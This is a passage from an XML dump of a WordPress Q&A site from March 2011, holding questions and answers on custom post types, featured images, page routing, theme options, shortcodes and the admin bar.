following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print '&amp;lt;pre&amp;gt;';&#xA;print_r( $wp_post_types[ 'visitor' ] );&#xA;print '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs: (a long array of data that contains really nothing but the following)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[show_ui] =&amp;gt; 1&#xA;[menu_position] =&amp;gt; &#xA;[menu_icon] =&amp;gt; &#xA;[permalink_epmask] =&amp;gt; 1&#xA;[can_export] =&amp;gt; 1&#xA;[show_in_nav_menus] =&amp;gt; 1&#xA;[show_in_menu] =&amp;gt; argus&#xA;[hiearchical] =&amp;gt; &#xA;[name] =&amp;gt; visitor&#xA;[cap] =&amp;gt; stdClass Object&#xA;    (&#xA;        [edit_post] =&amp;gt; argus_visitors&#xA;        [read_post] =&amp;gt; argus_visitors&#xA;        [delete_post] =&amp;gt; argus_admin&#xA;        [edit_posts] =&amp;gt; argus_visitors&#xA;        [edit_others_posts] =&amp;gt; argus_visitors&#xA;        [publish_posts] =&amp;gt; argus_visitors&#xA;        [read_private_posts] =&amp;gt; argus_visitors&#xA;    )&#xA;&#xA;[label] =&amp;gt; Visitors&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-03-15T18:48:49.130" LastActivityDate="2011-03-15T18:48:49.130" Title="Permission Error on Custom Post Type &quot;Add New&quot; action" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;permissions&gt;" CommentCount="12" />
  <row Id="11509" PostTypeId="2" ParentId="11489" CreationDate="2011-03-08T18:40:13.947" Score="2" ViewCount="" Body="&lt;p&gt;even if you had included the all of the needed files you will still have to create your some extra hidden fields like _nonce to pass the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;check_ajax_referer( &quot;set_post_thumbnail-$post_ID&quot; );&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you would need to create an action hidden field to identify the case of Ajax call with the value : &lt;code&gt;&quot;set-post-thumbnail&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are better of creating your own Ajax call &#xA;and simply use in your callback function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    set_post_thumbnail( $post, $thumbnail_id );&#xA;//or&#xA;    update_post_meta( $post-&amp;gt;ID, '_thumbnail_id', $attachment_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to unset use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete_post_meta( $post_ID, '_thumbnail_id' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T18:40:13.947" CommentCount="1" />
  <row Id="11510" PostTypeId="1" AcceptedAnswerId="11518" CreationDate="2011-03-08T19:03:37.540" Score="0" ViewCount="194" Body="&lt;p&gt;I'm using the_post_thumbnail(); (aka featured image) to show a news source logo. If I use that image, I'd like to output the name of the news source. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the_post_thumbnail is &quot;new-york-times.jpg&quot; &#xA;echo &quot;New York Times&quot;&#xA;elseif the_post_thumbnail is &quot;cbs-news.jpg&quot;&#xA;echo &quot;CBS News&quot;&#xA;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help writing this code is greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-08T20:32:25.337" Title="If the_post_thumbnail(); is this - echo this text" Tags="&lt;post-thumbnails&gt;&lt;text&gt;" AnswerCount="2" />
  <row Id="11511" PostTypeId="2" ParentId="11498" CreationDate="2011-03-08T19:19:40.763" Score="2" ViewCount="" Body="&lt;p&gt;You might be interested in this Q/A in the FAQ category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server mirroring/migration is a pain because there are so many pieces that might (or might not) need to be synced. PHP code (core, plugins, themes) is easy enough to keep straight. But when it comes to data, it gets messier. You've got your content, user accounts, and lots of option settings. Some of which will come from your plugins and themes, and which are typically not namespaced in any way that lets us manage them well. Plus, some of the options are 'hardcoded' to your hostname/URL, and internal links (such as for media) are hardcoded based on the configured URL, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep hoping that over time, we'll come up with some changes to core that will help mitigate at least some of these issues.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-08T19:19:40.763" CommentCount="1" />
  <row Id="11512" PostTypeId="2" ParentId="11510" CreationDate="2011-03-08T19:26:15.967" Score="0" ViewCount="" Body="&lt;p&gt;From a quick look at the Codex and some of the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/post-thumbnail-template.php&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;, I'm not seeing any built-in function that would easily/cleanly get you the file name. I've not played around with the post thumbnail functions much, but if you can figure out in advance the IDs are for each of your thumbnails, then you could try using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_thumbnail_id&quot; rel=&quot;nofollow&quot;&gt;get_post_thumbnail_id&lt;/a&gt;? Something like this pseudo-code perhaps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $thumb = get_post_thumbnail_id();&#xA;    switch ($thumb) {&#xA;        case &quot;1&quot;:&#xA;            $source = 'CBS';&#xA;            return $source;&#xA;        case &quot;2&quot;:&#xA;            $source = 'New York Times';&#xA;            return $source;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then &lt;code&gt;&amp;lt;?php echo $source ?&amp;gt;&lt;/code&gt; where you want that bit of text to display?&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-08T19:26:15.967" CommentCount="1" />
  <row Id="11513" PostTypeId="2" ParentId="10954" CreationDate="2011-03-08T19:46:18.423" Score="0" ViewCount="" Body="&lt;p&gt;I think I will give this a try. It sounds easy enough ;o)&#xA;&lt;a href=&quot;http://webdesignerwall.com/tutorials/exporting-and-importing-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://webdesignerwall.com/tutorials/exporting-and-importing-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2011-03-08T19:46:18.423" CommentCount="1" />
  <row Id="11514" PostTypeId="1" AcceptedAnswerId="11527" CreationDate="2011-03-08T20:03:05.910" Score="1" ViewCount="235" Body="&lt;p&gt;I'm setting up a website for a client where they want several different sections, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Regular Site (/)&#xA;  - Section 1 (/section_1/)&#xA;  - Section 2 (/section_2/)&#xA;     ... &#xA;  - Section X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The regular site will have all of the main content, but I want to be able to override certain pages if they exist in the specified section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the user visits &lt;code&gt;domain.com/section_1/features&lt;/code&gt;. If a &lt;code&gt;/section_1/features&lt;/code&gt; page exists, I would like to display that; however, if the page does not exist, I would like it to display &lt;code&gt;/features&lt;/code&gt; &lt;strong&gt;without&lt;/strong&gt; redirecting or changing the URL in the address bar. It should be completely seamless and behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;think&lt;/strong&gt; I need to add a function to the &lt;code&gt;parse_request&lt;/code&gt; hook, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_section_page( &amp;amp;$wp ) {&#xA;    $requested_path = $wp-&amp;gt;request;&#xA;&#xA;    if ( ! get_page_by_path($requested_path) ) {&#xA;        $new_requested_path = preg_replace(&quot;/^(.*?)\//&quot;, &quot;&quot;, $requested_path);&#xA;        // do something here to make it read $new_requested_path&#xA;    }&#xA;}&#xA;&#xA;add_filter(&quot;parse_request&quot;, &quot;check_section_page&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It runs the function properly, and echoing out $new_requested_path shows that it does have the new required page. I've been fighting with this for about 2 hours and my head's done in. Help?&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-10T08:38:29.460" Title="If a page does not exist, include a different page?" Tags="&lt;page&gt;&lt;redirect&gt;&lt;include&gt;" AnswerCount="1" />
  <row Id="11515" PostTypeId="2" ParentId="11453" CreationDate="2011-03-08T20:07:47.400" Score="0" ViewCount="" Body="&lt;p&gt;This work for me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA; &amp;lt;?php &#xA;  global $current_user;&#xA;  get_currentuserinfo();&#xA;  $authorcategory = get_user_meta( $current_user-&amp;gt;ID, 'authorcategory', true );&#xA;  $user_term = get_term_by( 'slug', $authorcategory, 'blogs');&#xA;  $mycat = $user_term-&amp;gt;slug;&#xA;  $cats_array = get_categories(array('child_of=$mycat','taxonomy' =&amp;gt; 'blogs'));&#xA; ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA; &amp;lt;strong&amp;gt;Is &amp;lt;?php echo $mycat; ?&amp;gt; your Blog Name? Make it sure before posting &amp;lt;/strong&amp;gt;&#xA; &amp;lt;select style=&amp;amp;quot;display:none;&amp;amp;quot; id=&amp;amp;quot;cat&amp;amp;quot; name=&amp;amp;quot;cat&amp;amp;quot; class=&amp;amp;quot;input&amp;amp;quot;&amp;gt;&#xA;  &amp;lt;?php foreach ( $cats_array as $category ): ?&amp;gt;&#xA;  &amp;lt;?php if ($category-&amp;gt;cat_name == $mycat ): ?&amp;gt;&#xA;  &amp;lt;option value=&amp;amp;quot;&amp;lt;?php echo $category-&amp;gt;cat_ID; ?&amp;gt;&amp;amp;quot;&amp;gt;&amp;lt;?php echo $category-&amp;gt;cat_name; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;   &#xA;  &amp;lt;?php endforeach; ?&amp;gt; &#xA; &amp;lt;/select&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-03-08T22:29:25.177" LastActivityDate="2011-03-08T22:29:25.177" />
  <row Id="11516" PostTypeId="2" ParentId="10954" CreationDate="2011-03-08T20:13:33.587" Score="0" ViewCount="" Body="&lt;p&gt;You might tale a look at myEASYbackup plugin.  I used it recently to clone a site on a different domain, and it handled full URL references in the database pretty well.&lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2011-03-08T20:13:33.587" CommentCount="1" />
  <row Id="11517" PostTypeId="1" CreationDate="2011-03-08T20:23:20.933" Score="0" ViewCount="141" Body="&lt;p&gt;WP Version - 3.0.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom taxonomy named: &quot;country&quot;, used by two custom post types: &quot;event&quot; and &quot;contact&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To print the categories the templates loop-event.php and loop-contact.php are using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_terms( $post-&amp;gt;ID, 'country', ' ', ', ', ' ' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The custom taxonomy template (taxonomy-country.php) is accesible from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;http://mydomain.com/country/united-states&#xA;http://mydomain.com/country/costa-rica&#xA;http://mydomain.com/country/brazil&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );&#xA;&#xA;&#xA;$args = array();&#xA;&#xA;$args['post_type']  = 'event';&#xA;$args['taxonomy']   = $term-&amp;gt;taxonomy;&#xA;$args['term']       = $term-&amp;gt;slug;&#xA;&#xA;&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;http://mydomain.com/event/country/united-states&#xA;http://mydomain.com/event/country/costa-rica&#xA;http://mydomain.com/event/country/brazil&#xA;...&#xA;&#xA;...&#xA;http://mydomain.com/contact/country/united-states&#xA;http://mydomain.com/contact/country/costa-rica&#xA;http://mydomain.com/contact/country/brazil&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And i want to know if I can have two separated country taxonomy templates, one to display events in those countries and other to display contacts on those countries generated by the_terms(). Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomy-country.php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The template for displaying Taxonomy Archive pages.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.1&#xA; * @author josoroma&#xA; * @website http://www.josoroma.com&#xA; */&#xA;&#xA;get_header();&#xA;&#xA;&#xA;$term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );&#xA;&#xA;&#xA;print_r($term);&#xA;&#xA;&#xA;$args = array();&#xA;&#xA;$args['post_type']  = 'event';&#xA;$args['taxonomy']   = $term-&amp;gt;taxonomy;&#xA;$args['term']       = $term-&amp;gt;slug;&#xA;&#xA;&#xA;query_posts($args); &#xA;&#xA;?&amp;gt;&#xA;        &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;                &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&amp;lt;?php&#xA;                    printf( __( 'Archives: %s', 'twentyten' ), '&amp;lt;span&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/span&amp;gt;' );&#xA;                ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $category_description = category_description();&#xA;                    if ( ! empty( $category_description ) )&#xA;                        echo '&amp;lt;div class=&quot;archive-meta&quot;&amp;gt;' . $category_description . '&amp;lt;/div&amp;gt;';&#xA;&#xA;                /* Run the loop for the category page to output the posts.&#xA;                 * If you want to overload this in a child theme then include a file&#xA;                 * called loop-category.php and that will be used instead.&#xA;                 */&#xA;                get_template_part( 'loop', 'category' );&#xA;                ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-03-09T00:22:12.710" LastActivityDate="2011-03-09T00:22:12.710" Title="How to create two separated templates for one shared custom taxonomy?" Tags="&lt;template&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="11518" PostTypeId="2" ParentId="11510" CreationDate="2011-03-08T20:32:25.337" Score="1" ViewCount="" Body="&lt;p&gt;If You need title from media use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$thumb = get_post(get_post_thumbnail_id());&#xA;echo $thumb-&amp;gt;post_title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-08T20:32:25.337" CommentCount="1" />
  <row Id="11519" PostTypeId="2" ParentId="11500" CreationDate="2011-03-08T20:37:02.480" Score="1" ViewCount="" Body="&lt;p&gt;WordPress won't care about the IPs, It's Apache's job to map IPs to your vhosts. You need to look at the Apache config: set up either 5 separate &lt;code&gt;VirtualHost&lt;/code&gt; entries that all point to the same &lt;code&gt;DocumentRoot&lt;/code&gt;, or tell Apache to listen on all available IPs, and use a wildcard match on a single &lt;code&gt;VirtualHost&lt;/code&gt; section.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-08T20:37:02.480" />
  <row Id="11520" PostTypeId="2" ParentId="11378" CreationDate="2011-03-08T21:05:16.880" Score="4" ViewCount="" Body="&lt;p&gt;You didn't add the shortcode via the shortcode API. WordPress only recognizes shortcodes if they are added with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode( 'yourshortcode', 'yourshortcodefunc' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I personally would not use preg_replace for this because it is more of a hit and miss. You should follow the official guidelines off the &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt;. Recommended code structure for shortcodes is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// [bartag foo=&quot;foo-value&quot;]&#xA;function bartag_func( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;        'foo' =&amp;gt; 'something',&#xA;        'bar' =&amp;gt; 'something else',&#xA;    ), $atts ) );&#xA;&#xA;    return &quot;foo = {$foo}&quot;;&#xA;}&#xA;add_shortcode( 'bartag', 'bartag_func' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-03-08T21:05:16.880" CommentCount="1" />
  <row Id="11521" PostTypeId="2" ParentId="10559" CreationDate="2011-03-08T21:45:59.687" Score="2" ViewCount="" Body="&lt;p&gt;Of course it's possible. &lt;a href=&quot;http://galleria.aino.se/themes/classic/&quot; rel=&quot;nofollow&quot;&gt;Galleria&lt;/a&gt; is a jQuery plugin that is similar, but better (fancy slide transition effects and more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could include it yourself (see their documentation) or if you prefer WordPress plugins look at &lt;a href=&quot;http://wordpress.org/extend/plugins/photo-galleria/&quot; rel=&quot;nofollow&quot;&gt;Photo Gallery&lt;/a&gt; which seems like it's based on galleria (haven't tried it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another really popular gallery plugin is the &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;NEXTGen Gallery&lt;/a&gt;. I'm not sure if it supports the slideshow functionality seen in your link out of the box, though. I guess some coding is required for that.&lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-03-08T21:45:59.687" CommentCount="1" />
  <row Id="11522" PostTypeId="1" CreationDate="2011-03-08T21:48:47.930" Score="4" ViewCount="128" Body="&lt;p&gt;In conjunction with a function that hides the dashboard from users, I was able to create a user navigation for users with a role less than an administrator with the admin bar. I think it's pretty cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that I'm lacking is the ability to change the color of the bar. Still working on figuring that out, and I'm pretty sure it's staring me in the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, for those who would like to know:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_admin_bar_dashboard_link() {&#xA;    global $current_user, $wp_admin_bar;&#xA;&#xA;    if (!current_user_can('administrator')) {&#xA;        $wp_admin_bar-&amp;gt;remove_menu('edit-my-profile');&#xA;        $wp_admin_bar-&amp;gt;remove_menu('dashboard');&#xA;        $wp_admin_bar-&amp;gt;remove_menu('new-content');&#xA;        $wp_admin_bar-&amp;gt;remove_menu('comments');&#xA;        $wp_admin_bar-&amp;gt;add_menu( array (&#xA;            'id' =&amp;gt; 'quick-links',&#xA;            'title' =&amp;gt; 'Quick Links',&#xA;            'href' =&amp;gt; FALSE )&#xA;        );&#xA;        $wp_admin_bar-&amp;gt;add_menu( array (&#xA;            'parent' =&amp;gt; 'quick-links',&#xA;            'id' =&amp;gt; 'new-submenu-item-1',&#xA;            'title' =&amp;gt; 'New Submenu Title 1',&#xA;            'href' =&amp;gt; '/pageSlugOrID/', )&#xA;        );&#xA;        $wp_admin_bar-&amp;gt;add_menu( array (&#xA;            'parent' =&amp;gt; 'quick-links',&#xA;            'id' =&amp;gt; 'new-submenu-item-2',&#xA;            'title' =&amp;gt; 'New Submenu Title 2',&#xA;            'href' =&amp;gt; '/pageSlugOrID/', )&#xA;        );&#xA;        $wp_admin_bar-&amp;gt;add_menu( array (&#xA;            'parent' =&amp;gt; 'quick-links',&#xA;            'id' =&amp;gt; 'new-submenu-item-3',&#xA;            'title' =&amp;gt; 'New Submenu Title 3',&#xA;            'href' =&amp;gt; '/pageSlugOrID/', )&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure something like this is all over the webbernet by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blessings,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TD&lt;/p&gt;&#xA;" OwnerUserId="3804" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-08T23:19:59.697" LastActivityDate="2011-03-08T23:19:59.697" ClosedDate="2011-03-11T21:57:11.627" Title="Just wanted to share about the Admin Bar" Tags="&lt;admin-bar&gt;" CommentCount="1" FavoriteCount="5" />
  <row Id="11523" PostTypeId="1" AcceptedAnswerId="11536" CreationDate="2011-03-08T21:49:37.847" Score="1" ViewCount="113" Body="&lt;p&gt;In &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11479/using-theme-options-to-change-link-colours&quot;&gt;another question&lt;/a&gt; I was talking about using theme options to modify CSS. This is a separate but related question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user sets a link colour in my theme, here's how I'm including their choice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $options = get_option('mytheme_theme_options'); _e( 'a, a:link {color: #' ); echo $options['linkcolour']; _e( ';}' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if a user specifies a link colour of #333333 in the theme options page, then my code above outputs a nice clean bit of CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a, a:link {color: #333333;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if they &lt;strong&gt;don't&lt;/strong&gt; specify any link colour value, then I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a, a:link {color: #;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which is both ugly and redundant -- it doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a PHP person, so I don't really know the best way to fix this, but I imagine that it could be fixed with an if-else statement of some kind, where the code only gets output when the user sets a value. Is that right? If so, what code should I use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-03-08T23:28:17.490" Title="Using if/else statements with output from theme options" Tags="&lt;php&gt;&lt;css&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="11524" PostTypeId="2" ParentId="10327" CreationDate="2011-03-08T21:51:43.737" Score="0" ViewCount="" Body="&lt;p&gt;Check the plugin's settings or the widget settings. The page of &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-fb-autoconnect/&quot; rel=&quot;nofollow&quot;&gt;WP-FB AutoConnect&lt;/a&gt; in the official WordPress plugin directory says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Facebook profile pictures can be used as avatars, even on pre-existing comments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-03-08T21:51:43.737" />
  <row Id="11525" PostTypeId="1" AcceptedAnswerId="11539" CreationDate="2011-03-08T21:59:15.383" Score="0" ViewCount="115" Body="&lt;p&gt;I have a problem. My database server isn't working right. On a wiki, it gives an error, and on my wordpress site, the pages don't show up. I am wondering if WordPress caches the DB data in any way, and if so, how do I clear it. I am hoping that will either totally break it or clear it. I am able to disable plugins and change settings, just the pages don't show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The only thing I can't access is the pages. Everything else is working OK, I think. Also, this just cropped up in the last couple of days. Before that, it was fine. I just noticed it today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; I mean pages as in posts and pages, not webpages.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-03-10T14:04:59.557" LastActivityDate="2011-04-09T15:39:54.113" Title="Site does not work right, pages not showing up, even for root admin" Tags="&lt;database&gt;&lt;troubleshooting&gt;" AnswerCount="3" />
  <row Id="11526" PostTypeId="2" ParentId="10721" CreationDate="2011-03-08T22:08:08.920" Score="0" ViewCount="" Body="&lt;p&gt;I used to have those exact problems problems. At first I thought it was my host (godaddy)... I was kind of right. I don;t know what OS you have but, everything was fixed when I switched from windows to linux. I guess WP agrees more w/ linux.&lt;/p&gt;&#xA;" OwnerUserId="3805" LastActivityDate="2011-03-08T22:08:08.920" />
  <row Id="11527" PostTypeId="2" ParentId="11514" CreationDate="2011-03-08T22:11:08.463" Score="1" ViewCount="" Body="&lt;p&gt;I managed to solve the problem. Here's how to do it, in case anyone else ever needs this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Updated Mar 10 3:30am EST **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous function that I had here was displaying the page properly, but was returning a 404 error code. I've replaced the bad code example with a working one that does not return a 404.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_section_page( $posts ) {&#xA;&#xA;    if (is_admin()) { return $posts; }&#xA;&#xA;    global $wp, $wp_query;&#xA;&#xA;    $requested_path = $wp-&amp;gt;request;&#xA;&#xA;    if ( $requested_path == &quot;&quot; ) { return $posts; }&#xA;&#xA;    preg_match(&quot;/^([a-z\-]+)\//&quot;, $requested_path, $matches);&#xA;&#xA;    if ( count($matches) &amp;gt; 1 ) {&#xA;        if ( get_page_by_path( $matches[1] ) ) { $section = $matches[1]; }&#xA;    }&#xA;&#xA;    $wp_query-&amp;gt;set(&quot;saleslink_section&quot;, $section);&#xA;&#xA;    $this_page = get_page_by_path( $requested_path );&#xA;    $new_requested_path = preg_replace(&quot;/^(.*?)\//&quot;, &quot;&quot;, $requested_path);&#xA;    $requested_page = get_page_by_path($new_requested_path);&#xA;&#xA;    if ( $requested_page-&amp;gt;ID and ! $this_page-&amp;gt;ID ) {&#xA;&#xA;        $posts = NULL;&#xA;&#xA;        $posts[] = $requested_page;&#xA;        $wp_query-&amp;gt;is_page = true;&#xA;        $wp_query-&amp;gt;is_singular = true;&#xA;        $wp_query-&amp;gt;is_home = false;&#xA;        $wp_query-&amp;gt;is_archive = false;&#xA;        $wp_query-&amp;gt;is_category = false;&#xA;        unset($wp_query-&amp;gt;query[&quot;error&quot;]);&#xA;        $wp_query-&amp;gt;query_vars[&quot;error&quot;]=&quot;&quot;;&#xA;        $wp_query-&amp;gt;is_404=false;&#xA;&#xA;    }&#xA;&#xA;    return $posts;&#xA;&#xA;}&#xA;&#xA;remove_filter('template_redirect','redirect_canonical');&#xA;add_filter(&quot;the_posts&quot;, &quot;check_section_page&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;remove_filter&lt;/code&gt; line will turn off the automatic-url-guessing-redirect behaviour of Wordpress, when a requested URL does not exist and a similar one does and it redirects to the similar URL.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastEditorUserId="3803" LastEditorDisplayName="" LastEditDate="2011-03-10T08:38:29.460" LastActivityDate="2011-03-10T08:38:29.460" />
  <row Id="11528" PostTypeId="2" ParentId="11525" CreationDate="2011-03-08T22:17:41.633" Score="0" ViewCount="" Body="&lt;p&gt;I'd try to confirm that the wp-config.php is well configured, but if you can't access your backend with root access &lt;b&gt;I'd check file and folder permissions&lt;/b&gt;. Usually you should have 644 permissions on almost every subfolder inside your wordpress installation, though there are others (such as wp-content/uploads) that should be writeable too.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-03-08T22:17:41.633" CommentCount="1" />
